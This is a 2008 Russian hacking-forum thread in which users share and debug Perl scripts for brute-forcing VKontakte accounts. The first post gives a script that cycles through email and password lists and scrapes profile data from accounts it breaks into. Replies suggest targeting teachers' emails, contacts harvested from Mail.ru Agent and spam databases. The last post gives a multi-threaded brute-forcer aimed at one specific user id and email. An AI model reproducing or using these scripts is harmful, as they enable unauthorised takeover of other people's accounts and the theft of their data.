Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Уязвимости (https://forum.antichat.xyz/forumdisplay.php?f=74)
-   -   Вконтакте Взлом списка мыл на один пароль (https://forum.antichat.xyz/showthread.php?t=69121)

GAVVVR 02.05.2008 19:02

Вконтакте Взлом списка мыл на один пароль
 
На одном форуме нашел брутфорс для контакта на перле

Код:

#! /usr/bin/perl -w
use strict;
use HTTP::Request::Common;
use LWP::UserAgent;
use HTTP::Cookies;

#Список email
my $ml = 'emails.txt'; 
#Сбрученные аккаунты
my $fname = 'good.txt'; 
#Несбрученные аккаунты
my $fname1 = 'bad.txt'; 
#список паролей
my $psw = 'pass.txt'; 
my $control = '-1';
my %example;
my (@data, @data1);


printf "Starting...\n";



sub submit_query {
    my ($file, %query) = @_;
    my $user_agent = LWP::UserAgent->new();
    my $cookies = HTTP::Cookies->new;
    my $cookie_jar = HTTP::Cookies->new(
    file => 'cookies.dat',
    autosave => 1, );
    $user_agent->cookie_jar($cookie_jar);
    ################### #############################################
    $user_agent->agent("User-Agent=Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.1.11) Gecko/20071127 Firefox/2.0.0.8;" . $user_agent->agent);
    ######################################## ########################

    my $request = POST
    $file,
    [%query];
   
    #################################################### ############
    my $response = $user_agent->request($request);
    my $res = $response->as_string;
    ####################################### #########################   
   
    if($res =~/<div id='error'>/ )
                        {
                        print FILE1 "[!]Wrong password: ";
                        $control = '0';
       
                        }
                    else
                        {
                       
                            my $req = HTTP::Request->new(GET => "http://vkontakte.ru/profile.php");
                            my $response2 = $user_agent->request($req);
                            my $res2 = $response2->as_string;
                           
                            if($res2 =~/id="percent">(.*)%</)
                            {
                            print FILE "[rate=$1]";
                            }
                            if($res2 =~/percentGold">(.*)</)
                            {
                            print FILE "[gold_rate=$1]";
                            }
                            $req = HTTP::Request->new(GET => "http://vkontakte.ru/settings.php");
                            $response2 = $user_agent->request($req);
                            $res2 = $response2->as_string;
                            if($res2 =~/контакте: <b>(.*)</) {print FILE "[id=$1]";}
                            if($res2 =~/"idr" value="(.*)"/) {print FILE "[sid=$1]";}
                           
                            $control = '1';
                           
                        }
                       
            }


    open(DAT, $ml) || die("Could not open emails file!");
    @data=<DAT>;
    close(DAT);
   
    open(DAT1, $psw) || die("Could not open passwords file!");
    @data1=<DAT1>;
    close(DAT1);
   

my $time = time; 
my $start = localtime;
printf "Vkontakte brutforoce\n";
printf "Started at $start\n";

foreach my $mail (@data)
{
chomp($mail);
foreach my $password (@data1)
        {
        chomp($password);
        %example = (success_url => '', fail_url => '', try_to_login => '1', email => $mail, pass => $password);

        open(FILE, ">>$fname") || die("Could not open $fname\n");
        open(FILE1, ">>$fname1") || die("Could not open $fname1\n");
        submit_query("http://vkontakte.ru/login. php", %example);
       
            if ($control == '1')   
                {
                print FILE "$mail : $password\n";
                }
            else
                {
                print FILE1 "$mail : $password\n";
                }
           
        close FILE;
        close FILE1;
        }
}
$time = time-$time;
my $end = localtime;
printf "Completed at $end\n";
printf "Time Elapsed: $time sec\n";

Только он что то не так работает, либо это вообще не брутфорс. Он весь результат списывает в good.txt. Возможно даже и хороший. Кто может исправить это дело??? :confused: Я то не шарю в программировании, а брут вроде как неплохой. Доделайте его кто - нибудь, если это возможно :rolleyes: ...

GAVVVR 02.05.2008 19:04

PS я и на своем акке пробовал, он тоже в good записывает

Lone Wolf 02.05.2008 19:11

:d
больше слов лично у меня нет

m9chik 03.05.2008 01:55

бредовая тема на самом деле,это придёться знать базу юзеров из контакта ... ну ща потестию...

тестю до конца...

GAVVVR 03.05.2008 11:48

Можно написать несколько паролей и штук десять мыльников (например своих преподов в школе) и он на каждый мыльник попробует все каждый пароль. Кстати, куча ламеров юзают маил ру агент, поэтому - знать мыльник - не проблема.
Скрипт вроде шустренько работает. Мне очень нравится, что можно сразу несколько мыльничков брутить на кучу паролей. Только жаль, что он все в гуд пишет

le-mon 03.05.2008 13:24

Цитата:

Сообщение от m9chik
бредовая тема на самом деле,это придёться знать базу юзеров из контакта ... ну ща потестию...

тестю до конца...

Обычная база для спама сойдёт.

ЗЫ у меня не работала, ещё давно проверял.

GAVVVR 03.05.2008 13:43

Люди, включите свой мозг! Брут недоделанный, что вы тут про базы то говорите?

GAVVVR 03.05.2008 14:13

базу делать нефик. Взял маил ру агент, впалил все мыльники своих контактов - вот тебе и база. Потом лист с пассами типа 123456 втолкнул - и брути на здоровье. Только он все в ГУД записывает. Абидна

m9chik 07.05.2008 08:56

всётаки брут тупак у меня ваще непашет=\

bublebuble 20.05.2008 22:44

где ты такую кривизну откопал?вот рабочий со злова:
Код:

#!/usr/bin/perl

use IO::Socket;
use MD5;
use threads;
use threads::shared;
my @pass : shared;

######################################
# C!klodoL
# vkontakte.ru bruteforce with multi-threads
######################################
$dic = 'pass.txt';                #словарь паролей
$id = 5951000;                #id цели
$mail = 'ritorbo%40rambler.ru';        #мыло, вместо @ вписать %40
$threads = 10;                #количество потоков
######################################

open (pass, "<$dic");

Next:
@pass = pass();

for(0..$threads) {$trl[$_] = threads->create(\&Brut, $_);}
for(@trl) { $_->join; }

sub Brut
{

while (@pass){

$pass = shift @pass;

$md5 = MD5->hexhash($pass);
$sock = IO::Socket::INET->new(Proto=>'tcp',PeerAddr=>'vkontakte.ru',PeerPort=>80);
print $sock "HEAD http://vkontakte.ru/ HTTP/1.0\r\n".
        "Host: vkontakte.ru\r\n".
            "Accept: */*\r\n".
            "Content-Type: application/x-www-form-urlencoded\r\n".
            "User-Agent: Mozillo\r\n".
            "Cookie: remixchk=2; remixmid=$id; remixemail=$mail; remixpass=$md5\r\n".
            "Connection: close\r\n\r\n";
$answ = <$sock>;
close $sock;
print "$pass  $answ";
if ($answ =~ /302/){
open (good, '>>good.txt');
print good "$id:$pass:$md5\n";
print "$id:$pass:$md5\n";
close good;
exit;}
}

}

goto Next;

sub pass
{
        my (@mas);
        while (<pass>){
        push @mas, $_;
        last if (@mas == 400);
        }
        chomp @mas;
        return @mas;
}



Время: 09:24